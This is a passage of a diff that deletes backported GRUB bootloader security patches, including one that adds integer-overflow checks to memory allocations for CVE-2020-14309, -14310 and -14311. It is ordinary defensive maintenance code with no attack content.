---- a/grub-core/tests/video_checksum.c
-+++ b/grub-core/tests/video_checksum.c
-@@ -336,7 +336,7 @@ grub_video_capture_write_bmp (const char *fname,
- {
- case 4:
- {
-- grub_uint8_t *buffer = xmalloc (mode_info->width * 3);
-+ grub_uint8_t *buffer = xcalloc (3, mode_info->width);
- grub_uint32_t rmask = ((1 << mode_info->red_mask_size) - 1);
- grub_uint32_t gmask = ((1 << mode_info->green_mask_size) - 1);
- grub_uint32_t bmask = ((1 << mode_info->blue_mask_size) - 1);
-@@ -367,7 +367,7 @@ grub_video_capture_write_bmp (const char *fname,
- }
- case 3:
- {
-- grub_uint8_t *buffer = xmalloc (mode_info->width * 3);
-+ grub_uint8_t *buffer = xcalloc (3, mode_info->width);
- grub_uint32_t rmask = ((1 << mode_info->red_mask_size) - 1);
- grub_uint32_t gmask = ((1 << mode_info->green_mask_size) - 1);
- grub_uint32_t bmask = ((1 << mode_info->blue_mask_size) - 1);
-@@ -407,7 +407,7 @@ grub_video_capture_write_bmp (const char *fname,
- }
- case 2:
- {
-- grub_uint8_t *buffer = xmalloc (mode_info->width * 3);
-+ grub_uint8_t *buffer = xcalloc (3, mode_info->width);
- grub_uint16_t rmask = ((1 << mode_info->red_mask_size) - 1);
- grub_uint16_t gmask = ((1 << mode_info->green_mask_size) - 1);
- grub_uint16_t bmask = ((1 << mode_info->blue_mask_size) - 1);
-diff --git a/grub-core/video/capture.c b/grub-core/video/capture.c
-index 4f83c74..4d3195e 100644
---- a/grub-core/video/capture.c
-+++ b/grub-core/video/capture.c
-@@ -89,7 +89,7 @@ grub_video_capture_start (const struct grub_video_mode_info *mode_info,
- framebuffer.mode_info = *mode_info;
- framebuffer.mode_info.blit_format = grub_video_get_blit_format (&framebuffer.mode_info);
-
-- framebuffer.ptr = grub_malloc (framebuffer.mode_info.height * framebuffer.mode_info.pitch);
-+ framebuffer.ptr = grub_calloc (framebuffer.mode_info.height, framebuffer.mode_info.pitch);
- if (!framebuffer.ptr)
- return grub_errno;
-
-diff --git a/grub-core/video/emu/sdl.c b/grub-core/video/emu/sdl.c
-index a2f639f..0ebab6f 100644
---- a/grub-core/video/emu/sdl.c
-+++ b/grub-core/video/emu/sdl.c
-@@ -172,7 +172,7 @@ grub_video_sdl_set_palette (unsigned int start, unsigned int count,
- if (start + count > mode_info.number_of_colors)
- count = mode_info.number_of_colors - start;
-
-- tmp = grub_malloc (count * sizeof (tmp[0]));
-+ tmp = grub_calloc (count, sizeof (tmp[0]));
- for (i = 0; i < count; i++)
- {
- tmp[i].r = palette_data[i].r;
-diff --git a/grub-core/video/i386/pc/vga.c b/grub-core/video/i386/pc/vga.c
-index 01f4711..b2f776c 100644
---- a/grub-core/video/i386/pc/vga.c
-+++ b/grub-core/video/i386/pc/vga.c
-@@ -127,7 +127,7 @@ grub_video_vga_setup (unsigned int width, unsigned int height,
-
- vga_height = height ? : 480;
-
-- framebuffer.temporary_buffer = grub_malloc (vga_height * VGA_WIDTH);
-+ framebuffer.temporary_buffer = grub_calloc (vga_height, VGA_WIDTH);
- framebuffer.front_page = 0;
- framebuffer.back_page = 0;
- if (!framebuffer.temporary_buffer)
-diff --git a/grub-core/video/readers/png.c b/grub-core/video/readers/png.c
-index 777e713..61bd645 100644
---- a/grub-core/video/readers/png.c
-+++ b/grub-core/video/readers/png.c
-@@ -309,7 +309,7 @@ grub_png_decode_image_header (struct grub_png_data *data)
- if (data->is_16bit || data->is_gray || data->is_palette)
- #endif
- {
-- data->image_data = grub_malloc (data->image_height * data->row_bytes);
-+ data->image_data = grub_calloc (data->image_height, data->row_bytes);
- if (grub_errno)
- return grub_errno;
-
-diff --git a/include/grub/unicode.h b/include/grub/unicode.h
-index a0403e9..4de986a 100644
---- a/include/grub/unicode.h
-+++ b/include/grub/unicode.h
-@@ -293,7 +293,7 @@ grub_unicode_glyph_dup (const struct grub_unicode_glyph *in)
- grub_memcpy (out, in, sizeof (*in));
- if (in->ncomb > ARRAY_SIZE (out->combining_inline))
- {
-- out->combining_ptr = grub_malloc (in->ncomb * sizeof (out->combining_ptr[0]));
-+ out->combining_ptr = grub_calloc (in->ncomb, sizeof (out->combining_ptr[0]));
- if (!out->combining_ptr)
- {
- grub_free (out);
-@@ -315,7 +315,7 @@ grub_unicode_set_glyph (struct grub_unicode_glyph *out,
- grub_memcpy (out, in, sizeof (*in));
- if (in->ncomb > ARRAY_SIZE (out->combining_inline))
- {
-- out->combining_ptr = grub_malloc (in->ncomb * sizeof (out->combining_ptr[0]));
-+ out->combining_ptr = grub_calloc (in->ncomb, sizeof (out->combining_ptr[0]));
- if (!out->combining_ptr)
- return;
- grub_memcpy (out->combining_ptr, in->combining_ptr,
-diff --git a/util/getroot.c b/util/getroot.c
-index 847406f..a5eaa64 100644
---- a/util/getroot.c
-+++ b/util/getroot.c
-@@ -200,7 +200,7 @@ make_device_name (const char *drive)
- char *ret, *ptr;
- const char *iptr;
-
-- ret = xmalloc (strlen (drive) * 2);
-+ ret = xcalloc (2, strlen (drive));
- ptr = ret;
- for (iptr = drive; *iptr; iptr++)
- {
-diff --git a/util/grub-file.c b/util/grub-file.c
-index 50c18b6..b2e7dd6 100644
---- a/util/grub-file.c
-+++ b/util/grub-file.c
-@@ -54,7 +54,7 @@ main (int argc, char *argv[])
-
- grub_util_host_init (&argc, &argv);
-
-- argv2 = xmalloc (argc * sizeof (argv2[0]));
-+ argv2 = xcalloc (argc, sizeof (argv2[0]));
-
- if (argc == 2 && strcmp (argv[1], "--version") == 0)
- {
-diff --git a/util/grub-fstest.c b/util/grub-fstest.c
-index f14e02d..57246af 100644
---- a/util/grub-fstest.c
-+++ b/util/grub-fstest.c
-@@ -650,7 +650,7 @@ argp_parser (int key, char *arg, struct argp_state *state)
- if (args_count < num_disks)
- {
- if (args_count == 0)
-- images = xmalloc (num_disks * sizeof (images[0]));
-+ images = xcalloc (num_disks, sizeof (images[0]));
- images[args_count] = grub_canonicalize_file_name (arg);
- args_count++;
- return 0;
-@@ -734,7 +734,7 @@ main (int argc, char *argv[])
-
- grub_util_host_init (&argc, &argv);
-
-- args = xmalloc (argc * sizeof (args[0]));
-+ args = xcalloc (argc, sizeof (args[0]));
-
- argp_parse (&argp, argc, argv, 0, 0, 0);
-
-diff --git a/util/grub-install-common.c b/util/grub-install-common.c
-index ca0ac61..0295d40 100644
---- a/util/grub-install-common.c
-+++ b/util/grub-install-common.c
-@@ -286,7 +286,7 @@ handle_install_list (struct install_list *il, const char *val,
- il->n_entries++;
- }
- il->n_alloc = il->n_entries + 1;
-- il->entries = xmalloc (il->n_alloc * sizeof (il->entries[0]));
-+ il->entries = xcalloc (il->n_alloc, sizeof (il->entries[0]));
- ptr = val;
- for (ce = il->entries; ; ce++)
- {
-diff --git a/util/grub-install.c b/util/grub-install.c
-index 8a55ad4..a82725f 100644
---- a/util/grub-install.c
-+++ b/util/grub-install.c
-@@ -626,7 +626,7 @@ device_map_check_duplicates (const char *dev_map)
- if (! fp)
- return;
-
-- d = xmalloc (alloced * sizeof (d[0]));
-+ d = xcalloc (alloced, sizeof (d[0]));
-
- while (fgets (buf, sizeof (buf), fp))
- {
-@@ -1260,7 +1260,7 @@ main (int argc, char *argv[])
- ndev++;
- }
-
-- grub_drives = xmalloc (sizeof (grub_drives[0]) * (ndev + 1));
-+ grub_drives = xcalloc (ndev + 1, sizeof (grub_drives[0]));
-
- for (curdev = grub_devices, curdrive = grub_drives; *curdev; curdev++,
- curdrive++)
-diff --git a/util/grub-mkimagexx.c b/util/grub-mkimagexx.c
-index bc087c2..d97d0e7 100644
---- a/util/grub-mkimagexx.c
-+++ b/util/grub-mkimagexx.c
-@@ -2294,10 +2294,8 @@ SUFFIX (grub_mkimage_load_image) (const char *kernel_path,
- + grub_host_to_target16 (e->e_shstrndx) * smd.section_entsize);
- smd.strtab = (char *) e + grub_host_to_target_addr (s->sh_offset);
-
-- smd.addrs = xmalloc (sizeof (*smd.addrs) * smd.num_sections);
-- memset (smd.addrs, 0, sizeof (*smd.addrs) * smd.num_sections);
-- smd.vaddrs = xmalloc (sizeof (*smd.vaddrs) * smd.num_sections);
-- memset (smd.vaddrs, 0, sizeof (*smd.vaddrs) * smd.num_sections);
-+ smd.addrs = xcalloc (smd.num_sections, sizeof (*smd.addrs));
-+ smd.vaddrs = xcalloc (smd.num_sections, sizeof (*smd.vaddrs));
-
- SUFFIX (locate_sections) (e, kernel_path, &smd, layout, image_target);
-
-diff --git a/util/grub-mkrescue.c b/util/grub-mkrescue.c
-index ce2cbc4..5183102 100644
---- a/util/grub-mkrescue.c
-+++ b/util/grub-mkrescue.c
-@@ -441,8 +441,8 @@ main (int argc, char *argv[])
- xorriso = xstrdup ("xorriso");
- label_font = grub_util_path_concat (2, pkgdatadir, "unicode.pf2");
-
-- argp_argv = xmalloc (sizeof (argp_argv[0]) * argc);
-- xorriso_tail_argv = xmalloc (sizeof (argp_argv[0]) * argc);
-+ argp_argv = xcalloc (argc, sizeof (argp_argv[0]));
-+ xorriso_tail_argv = xcalloc (argc, sizeof (argp_argv[0]));
-
- xorriso_tail_argc = 0;
- /* Program name */
-diff --git a/util/grub-mkstandalone.c b/util/grub-mkstandalone.c
-index 4907d44..edf3097 100644
---- a/util/grub-mkstandalone.c
-+++ b/util/grub-mkstandalone.c
-@@ -296,7 +296,7 @@ main (int argc, char *argv[])
- grub_util_host_init (&argc, &argv);
- grub_util_disable_fd_syncs ();
-
-- files = xmalloc ((argc + 1) * sizeof (files[0]));
-+ files = xcalloc (argc + 1, sizeof (files[0]));
-
- argp_parse (&argp, argc, argv, 0, 0, 0);
-
-diff --git a/util/grub-pe2elf.c b/util/grub-pe2elf.c
-index 0d4084a..1133129 100644
---- a/util/grub-pe2elf.c
-+++ b/util/grub-pe2elf.c
-@@ -100,9 +100,9 @@ write_section_data (FILE* fp, const char *name, char *image,
- char *pe_strtab = (image + pe_chdr->symtab_offset
- + pe_chdr->num_symbols * sizeof (struct grub_pe32_symbol));
-
-- section_map = xmalloc ((2 * pe_chdr->num_sections + 5) * sizeof (int));
-+ section_map = xcalloc (2 * pe_chdr->num_sections + 5, sizeof (int));
- section_map[0] = 0;
-- shdr = xmalloc ((2 * pe_chdr->num_sections + 5) * sizeof (shdr[0]));
-+ shdr = xcalloc (2 * pe_chdr->num_sections + 5, sizeof (shdr[0]));
- idx = 1;
- idx_reloc = pe_chdr->num_sections + 1;
-
-@@ -233,7 +233,7 @@ write_reloc_section (FILE* fp, const char *name, char *image,
-
- pe_sec = pe_shdr + shdr[i].sh_link;
- pe_rel = (struct grub_pe32_reloc *) (image + pe_sec->relocations_offset);
-- rel = (elf_reloc_t *) xmalloc (pe_sec->num_relocations * sizeof (elf_reloc_t));
-+ rel = (elf_reloc_t *) xcalloc (pe_sec->num_relocations, sizeof (elf_reloc_t));
- num_rels = 0;
- modified = 0;
-
-@@ -365,12 +365,10 @@ write_symbol_table (FILE* fp, const char *name, char *image,
- pe_symtab = (struct grub_pe32_symbol *) (image + pe_chdr->symtab_offset);
- pe_strtab = (char *) (pe_symtab + pe_chdr->num_symbols);
-
-- symtab = (Elf_Sym *) xmalloc ((pe_chdr->num_symbols + 1) *
-- sizeof (Elf_Sym));
-- memset (symtab, 0, (pe_chdr->num_symbols + 1) * sizeof (Elf_Sym));
-+ symtab = (Elf_Sym *) xcalloc (pe_chdr->num_symbols + 1, sizeof (Elf_Sym));
- num_syms = 1;
-
-- symtab_map = (int *) xmalloc (pe_chdr->num_symbols * sizeof (int));
-+ symtab_map = (int *) xcalloc (pe_chdr->num_symbols, sizeof (int));
-
- for (i = 0; i < (int) pe_chdr->num_symbols;
- i += pe_symtab->num_aux + 1, pe_symtab += pe_symtab->num_aux + 1)
-diff --git a/util/grub-probe.c b/util/grub-probe.c
-index 81d27ee..cbe6ed9 100644
---- a/util/grub-probe.c
-+++ b/util/grub-probe.c
-@@ -361,8 +361,8 @@ probe (const char *path, char **device_names, char delim)
- grub_util_pull_device (*curdev);
- ndev++;
- }
--
-- drives_names = xmalloc (sizeof (drives_names[0]) * (ndev + 1));
-+
-+ drives_names = xcalloc (ndev + 1, sizeof (drives_names[0]));
-
- for (curdev = device_names, curdrive = drives_names; *curdev; curdev++,
- curdrive++)
---
-2.14.4
-
diff --git a/meta/recipes-bsp/grub/files/CVE-2020-14309-CVE-2020-14310-CVE-2020-14311-malloc-Use-overflow-checking-primitives-where-we-do-.patch b/meta/recipes-bsp/grub/files/CVE-2020-14309-CVE-2020-14310-CVE-2020-14311-malloc-Use-overflow-checking-primitives-where-we-do-.patch
deleted file mode 100644
index 896a2145d4..0000000000
--- a/meta/recipes-bsp/grub/files/CVE-2020-14309-CVE-2020-14310-CVE-2020-14311-malloc-Use-overflow-checking-primitives-where-we-do-.patch
+++ /dev/null
@@ -1,1330 +0,0 @@
-From eb77d1ef65e25746acff43545f62a71360b15eec Mon Sep 17 00:00:00 2001
-From: Peter Jones <pjones@redhat.com>
-Date: Mon, 15 Jun 2020 12:28:27 -0400
-Subject: [PATCH 6/9] malloc: Use overflow checking primitives where we do
- complex allocations
-
-This attempts to fix the places where we do the following where
-arithmetic_expr may include unvalidated data:
-
- X = grub_malloc(arithmetic_expr);
-
-It accomplishes this by doing the arithmetic ahead of time using grub_add(),
-grub_sub(), grub_mul() and testing for overflow before proceeding.
-
-Among other issues, this fixes:
- - allocation of integer overflow in grub_video_bitmap_create()
- reported by Chris Coulson,
- - allocation of integer overflow in grub_png_decode_image_header()
- reported by Chris Coulson,
- - allocation of integer overflow in grub_squash_read_symlink()
- reported by Chris Coulson,
- - allocation of integer overflow in grub_ext2_read_symlink()
- reported by Chris Coulson,
- - allocation of integer overflow in read_section_as_string()
- reported by Chris Coulson.
-
-Fixes: CVE-2020-14309, CVE-2020-14310, CVE-2020-14311
-
-Signed-off-by: Peter Jones <pjones@redhat.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-
-Upstream-Status: Backport
-CVE: CVE-2020-14309, CVE-2020-14310, CVE-2020-14311
-
-Reference to upstream patch:
-https://git.savannah.gnu.org/cgit/grub.git/commit/?id=3f05d693d1274965ffbe4ba99080dc2c570944c6
-
-Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
----
- grub-core/commands/legacycfg.c | 29 +++++++++++++++++++-----
- grub-core/commands/wildcard.c | 36 ++++++++++++++++++++++++-----
- grub-core/disk/ldm.c | 32 ++++++++++++++++++--------
- grub-core/font/font.c | 7 +++++-
- grub-core/fs/btrfs.c | 28 +++++++++++++++--------
- grub-core/fs/ext2.c | 10 ++++++++-
- grub-core/fs/iso9660.c | 51 +++++++++++++++++++++++++++++-------------
- grub-core/fs/sfs.c | 27 +++++++++++++++++-----
- grub-core/fs/squash4.c | 45 ++++++++++++++++++++++++++++---------
- grub-core/fs/udf.c | 41 +++++++++++++++++++++------------
- grub-core/fs/xfs.c | 11 +++++----
- grub-core/fs/zfs/zfs.c | 22 ++++++++++++------
- grub-core/fs/zfs/zfscrypt.c | 7 +++++-
- grub-core/lib/arg.c | 20 +++++++++++++++--
- grub-core/loader/i386/bsd.c | 8 ++++++-
- grub-core/net/dns.c | 9 +++++++-
- grub-core/normal/charset.c | 10 +++++++--
- grub-core/normal/cmdline.c | 14 ++++++++++--
- grub-core/normal/menu_entry.c | 13 +++++++++--
- grub-core/script/argv.c | 16 +++++++++++--
- grub-core/script/lexer.c | 21 ++++++++++++++---
- grub-core/video/bitmap.c | 25 +++++++++++++--------
- grub-core/video/readers/png.c | 13 +++++++++--
- 23 files changed, 382 insertions(+), 113 deletions(-)
-
-diff --git a/grub-core/commands/legacycfg.c b/grub-core/commands/legacycfg.c
-index 5e3ec0d..cc5971f 100644
---- a/grub-core/commands/legacycfg.c
-+++ b/grub-core/commands/legacycfg.c
-@@ -32,6 +32,7 @@
- #include <grub/auth.h>
- #include <grub/disk.h>
- #include <grub/partition.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -104,13 +105,22 @@ legacy_file (const char *filename)
- if (newsuffix)
- {
- char *t;
--
-+ grub_size_t sz;
-+
-+ if (grub_add (grub_strlen (suffix), grub_strlen (newsuffix), &sz) ||
-+ grub_add (sz, 1, &sz))
-+ {
-+ grub_errno = GRUB_ERR_OUT_OF_RANGE;
-+ goto fail_0;
-+ }
-+
- t = suffix;
-- suffix = grub_realloc (suffix, grub_strlen (suffix)
-- + grub_strlen (newsuffix) + 1);
-+ suffix = grub_realloc (suffix, sz);
- if (!suffix)
- {
- grub_free (t);
-+
-+ fail_0:
- grub_free (entrysrc);
- grub_free (parsed);
- grub_free (newsuffix);
-@@ -154,13 +164,22 @@ legacy_file (const char *filename)
- else
- {
- char *t;
-+ grub_size_t sz;
-+
-+ if (grub_add (grub_strlen (entrysrc), grub_strlen (parsed), &sz) ||
-+ grub_add (sz, 1, &sz))
-+ {
-+ grub_errno = GRUB_ERR_OUT_OF_RANGE;
-+ goto fail_1;
-+ }
-
- t = entrysrc;
-- entrysrc = grub_realloc (entrysrc, grub_strlen (entrysrc)
-- + grub_strlen (parsed) + 1);
-+ entrysrc = grub_realloc (entrysrc, sz);
- if (!entrysrc)
- {
- grub_free (t);
-+
-+ fail_1:
- grub_free (parsed);
- grub_free (suffix);
- return grub_errno;
-diff --git a/grub-core/commands/wildcard.c b/grub-core/commands/wildcard.c
-index 4a106ca..cc32903 100644
---- a/grub-core/commands/wildcard.c
-+++ b/grub-core/commands/wildcard.c
-@@ -23,6 +23,7 @@
- #include <grub/file.h>
- #include <grub/device.h>
- #include <grub/script_sh.h>
-+#include <grub/safemath.h>
-
- #include <regex.h>
-
-@@ -48,6 +49,7 @@ merge (char **dest, char **ps)
- int i;
- int j;
- char **p;
-+ grub_size_t sz;
-
- if (! dest)
- return ps;
-@@ -60,7 +62,12 @@ merge (char **dest, char **ps)
- for (j = 0; ps[j]; j++)
- ;
-
-- p = grub_realloc (dest, sizeof (char*) * (i + j + 1));
-+ if (grub_add (i, j, &sz) ||
-+ grub_add (sz, 1, &sz) ||
-+ grub_mul (sz, sizeof (char *), &sz))
-+ return dest;
-+
-+ p = grub_realloc (dest, sz);
- if (! p)
- {
- grub_free (dest);
-@@ -115,8 +122,15 @@ make_regex (const char *start, const char *end, regex_t *regexp)
- char ch;
- int i = 0;
- unsigned len = end - start;
-- char *buffer = grub_malloc (len * 2 + 2 + 1); /* worst case size. */
-+ char *buffer;
-+ grub_size_t sz;
-
-+ /* Worst case size is (len * 2 + 2 + 1). */
-+ if (grub_mul (len, 2, &sz) ||
-+ grub_add (sz, 3, &sz))
-+ return 1;
-+
-+ buffer = grub_malloc (sz);
- if (! buffer)
- return 1;
-
-@@ -226,6 +240,7 @@ match_devices_iter (const char *name, void *data)
- struct match_devices_ctx *ctx = data;
- char **t;
- char *buffer;
-+ grub_size_t sz;
-
- /* skip partitions if asked to. */
- if (ctx->noparts && grub_strchr (name, ','))
-@@ -239,11 +254,16 @@ match_devices_iter (const char *name, void *data)
- if (regexec (ctx->regexp, buffer, 0, 0, 0))
- {
- grub_dprintf ("expand", "not matched\n");
-+ fail:
- grub_free (buffer);
- return 0;
- }
-
-- t = grub_realloc (ctx->devs, sizeof (char*) * (ctx->ndev + 2));
-+ if (grub_add (ctx->ndev, 2, &sz) ||
-+ grub_mul (sz, sizeof (char *), &sz))
-+ goto fail;
-+
-+ t = grub_realloc (ctx->devs, sz);
- if (! t)
- {
- grub_free (buffer);
-@@ -300,6 +320,7 @@ match_files_iter (const char *name,
- struct match_files_ctx *ctx = data;
- char **t;
- char *buffer;
-+ grub_size_t sz;
-
- /* skip . and .. names */
- if (grub_strcmp(".", name) == 0 || grub_strcmp("..", name) == 0)
-@@ -315,9 +336,14 @@ match_files_iter (const char *name,
- if (! buffer)
- return 1;
-
-- t = grub_realloc (ctx->files, sizeof (char*) * (ctx->nfile + 2));
-- if (! t)
-+ if (grub_add (ctx->nfile, 2, &sz) ||
-+ grub_mul (sz, sizeof (char *), &sz))
-+ goto fail;
-+
-+ t = grub_realloc (ctx->files, sz);
-+ if (!t)
- {
-+ fail:
- grub_free (buffer);
- return 1;
- }
-diff --git a/grub-core/disk/ldm.c b/grub-core/disk/ldm.c
-index e632370..58f8a53 100644
---- a/grub-core/disk/ldm.c
-+++ b/grub-core/disk/ldm.c
-@@ -25,6 +25,7 @@
- #include <grub/msdos_partition.h>
- #include <grub/gpt_partition.h>
- #include <grub/i18n.h>
-+#include <grub/safemath.h>
-
- #ifdef GRUB_UTIL
- #include <grub/emu/misc.h>
-@@ -289,6 +290,7 @@ make_vg (grub_disk_t disk,
- struct grub_ldm_vblk vblk[GRUB_DISK_SECTOR_SIZE
- / sizeof (struct grub_ldm_vblk)];
- unsigned i;
-+ grub_size_t sz;
- err = grub_disk_read (disk, cursec, 0,
- sizeof(vblk), &vblk);
- if (err)
-@@ -350,7 +352,13 @@ make_vg (grub_disk_t disk,
- grub_free (lv);
- goto fail2;
- }
-- lv->name = grub_malloc (*ptr + 1);
-+ if (grub_add (*ptr, 1, &sz))
-+ {
-+ grub_free (lv->internal_id);
-+ grub_free (lv);
-+ goto fail2;
-+ }
-+ lv->name = grub_malloc (sz);
- if (!lv->name)
- {
- grub_free (lv->internal_id);
-@@ -599,10 +607,13 @@ make_vg (grub_disk_t disk,
- if (lv->segments->node_alloc == lv->segments->node_count)
- {
- void *t;
-- lv->segments->node_alloc *= 2;
-- t = grub_realloc (lv->segments->nodes,
-- sizeof (*lv->segments->nodes)
-- * lv->segments->node_alloc);
-+ grub_size_t sz;
-+
-+ if (grub_mul (lv->segments->node_alloc, 2, &lv->segments->node_alloc) ||
-+ grub_mul (lv->segments->node_alloc, sizeof (*lv->segments->nodes), &sz))
-+ goto fail2;
-+
-+ t = grub_realloc (lv->segments->nodes, sz);
- if (!t)
- goto fail2;
- lv->segments->nodes = t;
-@@ -723,10 +734,13 @@ make_vg (grub_disk_t disk,
- if (comp->segment_alloc == comp->segment_count)
- {
- void *t;
-- comp->segment_alloc *= 2;
-- t = grub_realloc (comp->segments,
-- comp->segment_alloc
-- * sizeof (*comp->segments));
-+ grub_size_t sz;
-+
-+ if (grub_mul (comp->segment_alloc, 2, &comp->segment_alloc) ||
-+ grub_mul (comp->segment_alloc, sizeof (*comp->segments), &sz))
-+ goto fail2;
-+
-+ t = grub_realloc (comp->segments, sz);
- if (!t)
- goto fail2;
- comp->segments = t;
-diff --git a/grub-core/font/font.c b/grub-core/font/font.c
-index 8e118b3..5edb477 100644
---- a/grub-core/font/font.c
-+++ b/grub-core/font/font.c
-@@ -30,6 +30,7 @@
- #include <grub/unicode.h>
- #include <grub/fontformat.h>
- #include <grub/env.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -360,9 +361,13 @@ static char *
- read_section_as_string (struct font_file_section *section)
- {
- char *str;
-+ grub_size_t sz;
- grub_ssize_t ret;
-
-- str = grub_malloc (section->length + 1);
-+ if (grub_add (section->length, 1, &sz))
-+ return NULL;
-+
-+ str = grub_malloc (sz);
- if (!str)
- return 0;
-
-diff --git a/grub-core/fs/btrfs.c b/grub-core/fs/btrfs.c
-index 11272ef..2b65bd5 100644
---- a/grub-core/fs/btrfs.c
-+++ b/grub-core/fs/btrfs.c
-@@ -40,6 +40,7 @@
- #include <grub/btrfs.h>
- #include <grub/crypto.h>
- #include <grub/diskfilter.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -329,9 +330,13 @@ save_ref (struct grub_btrfs_leaf_descriptor *desc,
- if (desc->allocated < desc->depth)
- {
- void *newdata;
-- desc->allocated *= 2;
-- newdata = grub_realloc (desc->data, sizeof (desc->data[0])
-- * desc->allocated);
-+ grub_size_t sz;
-+
-+ if (grub_mul (desc->allocated, 2, &desc->allocated) ||
-+ grub_mul (desc->allocated, sizeof (desc->data[0]), &sz))
-+ return GRUB_ERR_OUT_OF_RANGE;
-+
-+ newdata = grub_realloc (desc->data, sz);
- if (!newdata)
- return grub_errno;
- desc->data = newdata;
-@@ -622,16 +627,21 @@ find_device (struct grub_btrfs_data *data, grub_uint64_t id)
- if (data->n_devices_attached > data->n_devices_allocated)
- {
- void *tmp;
-- data->n_devices_allocated = 2 * data->n_devices_attached + 1;
-- data->devices_attached
-- = grub_realloc (tmp = data->devices_attached,
-- data->n_devices_allocated
-- * sizeof (data->devices_attached[0]));
-+ grub_size_t sz;
-+
-+ if (grub_mul (data->n_devices_attached, 2, &data->n_devices_allocated) ||
-+ grub_add (data->n_devices_allocated, 1, &data->n_devices_allocated) ||
-+ grub_mul (data->n_devices_allocated, sizeof (data->devices_attached[0]), &sz))
-+ goto fail;
-+
-+ data->devices_attached = grub_realloc (tmp = data->devices_attached, sz);
- if (!data->devices_attached)
- {
-+ data->devices_attached = tmp;
-+
-+ fail:
- if (ctx.dev_found)
- grub_device_close (ctx.dev_found);
-- data->devices_attached = tmp;
- return NULL;
- }
- }
-diff --git a/grub-core/fs/ext2.c b/grub-core/fs/ext2.c
-index 9b38980..ac33bcd 100644
---- a/grub-core/fs/ext2.c
-+++ b/grub-core/fs/ext2.c
-@@ -46,6 +46,7 @@
- #include <grub/dl.h>
- #include <grub/types.h>
- #include <grub/fshelp.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -703,6 +704,7 @@ grub_ext2_read_symlink (grub_fshelp_node_t node)
- {
- char *symlink;
- struct grub_fshelp_node *diro = node;
-+ grub_size_t sz;
-
- if (! diro->inode_read)
- {
-@@ -717,7 +719,13 @@ grub_ext2_read_symlink (grub_fshelp_node_t node)
- }
- }
-
-- symlink = grub_malloc (grub_le_to_cpu32 (diro->inode.size) + 1);
-+ if (grub_add (grub_le_to_cpu32 (diro->inode.size), 1, &sz))
-+ {
-+ grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+ return NULL;
-+ }
-+
-+ symlink = grub_malloc (sz);
- if (! symlink)
- return 0;
-
-diff --git a/grub-core/fs/iso9660.c b/grub-core/fs/iso9660.c
-index 4f1b52a..7ba5b30 100644
---- a/grub-core/fs/iso9660.c
-+++ b/grub-core/fs/iso9660.c
-@@ -28,6 +28,7 @@
- #include <grub/fshelp.h>
- #include <grub/charset.h>
- #include <grub/datetime.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -531,8 +532,13 @@ add_part (struct iterate_dir_ctx *ctx,
- int len2)
- {
- int size = ctx->symlink ? grub_strlen (ctx->symlink) : 0;
-+ grub_size_t sz;
-
-- ctx->symlink = grub_realloc (ctx->symlink, size + len2 + 1);
-+ if (grub_add (size, len2, &sz) ||
-+ grub_add (sz, 1, &sz))
-+ return;
-+
-+ ctx->symlink = grub_realloc (ctx->symlink, sz);
- if (! ctx->symlink)
- return;
-
-@@ -560,17 +566,24 @@ susp_iterate_dir (struct grub_iso9660_susp_entry *entry,
- {
- grub_size_t off = 0, csize = 1;
- char *old;
-+ grub_size_t sz;
-+
- csize = entry->len - 5;
- old = ctx->filename;
- if (ctx->filename_alloc)
- {
- off = grub_strlen (ctx->filename);
-- ctx->filename = grub_realloc (ctx->filename, csize + off + 1);
-+ if (grub_add (csize, off, &sz) ||
-+ grub_add (sz, 1, &sz))
-+ return GRUB_ERR_OUT_OF_RANGE;
-+ ctx->filename = grub_realloc (ctx->filename, sz);
- }
- else
- {
- off = 0;
-- ctx->filename = grub_zalloc (csize + 1);
-+ if (grub_add (csize, 1, &sz))
-+ return GRUB_ERR_OUT_OF_RANGE;
-+ ctx->filename = grub_zalloc (sz);
- }
- if (!ctx->filename)
- {
-@@ -776,14 +789,18 @@ grub_iso9660_iterate_dir (grub_fshelp_node_t dir,
- if (node->have_dirents >= node->alloc_dirents)
- {
- struct grub_fshelp_node *new_node;
-- node->alloc_dirents *= 2;
-- new_node = grub_realloc (node,
-- sizeof (struct grub_fshelp_node)
-- + ((node->alloc_dirents
-- - ARRAY_SIZE (node->dirents))
-- * sizeof (node->dirents[0])));
-+ grub_size_t sz;
-+
-+ if (grub_mul (node->alloc_dirents, 2, &node->alloc_dirents) ||
-+ grub_sub (node->alloc_dirents, ARRAY_SIZE (node->dirents), &sz) ||
-+ grub_mul (sz, sizeof (node->dirents[0]), &sz) ||
-+ grub_add (sz, sizeof (struct grub_fshelp_node), &sz))
-+ goto fail_0;
-+
-+ new_node = grub_realloc (node, sz);
- if (!new_node)
- {
-+ fail_0:
- if (ctx.filename_alloc)
- grub_free (ctx.filename);
- grub_free (node);
-@@ -799,14 +816,18 @@ grub_iso9660_iterate_dir (grub_fshelp_node_t dir,
- * sizeof (node->dirents[0]) < grub_strlen (ctx.symlink) + 1)
- {
- struct grub_fshelp_node *new_node;
-- new_node = grub_realloc (node,
-- sizeof (struct grub_fshelp_node)
-- + ((node->alloc_dirents
-- - ARRAY_SIZE (node->dirents))
-- * sizeof (node->dirents[0]))
-- + grub_strlen (ctx.symlink) + 1);
-+ grub_size_t sz;
-+
-+ if (grub_sub (node->alloc_dirents, ARRAY_SIZE (node->dirents), &sz) ||
-+ grub_mul (sz, sizeof (node->dirents[0]), &sz) ||
-+ grub_add (sz, sizeof (struct grub_fshelp_node) + 1, &sz) ||
-+ grub_add (sz, grub_strlen (ctx.symlink), &sz))
-+ goto fail_1;
-+
-+ new_node = grub_realloc (node, sz);
- if (!new_node)
- {
-+ fail_1:
- if (ctx.filename_alloc)
- grub_free (ctx.filename);
- grub_free (node);
-diff --git a/grub-core/fs/sfs.c b/grub-core/fs/sfs.c
-index 90f7fb3..de2b107 100644
---- a/grub-core/fs/sfs.c
-+++ b/grub-core/fs/sfs.c
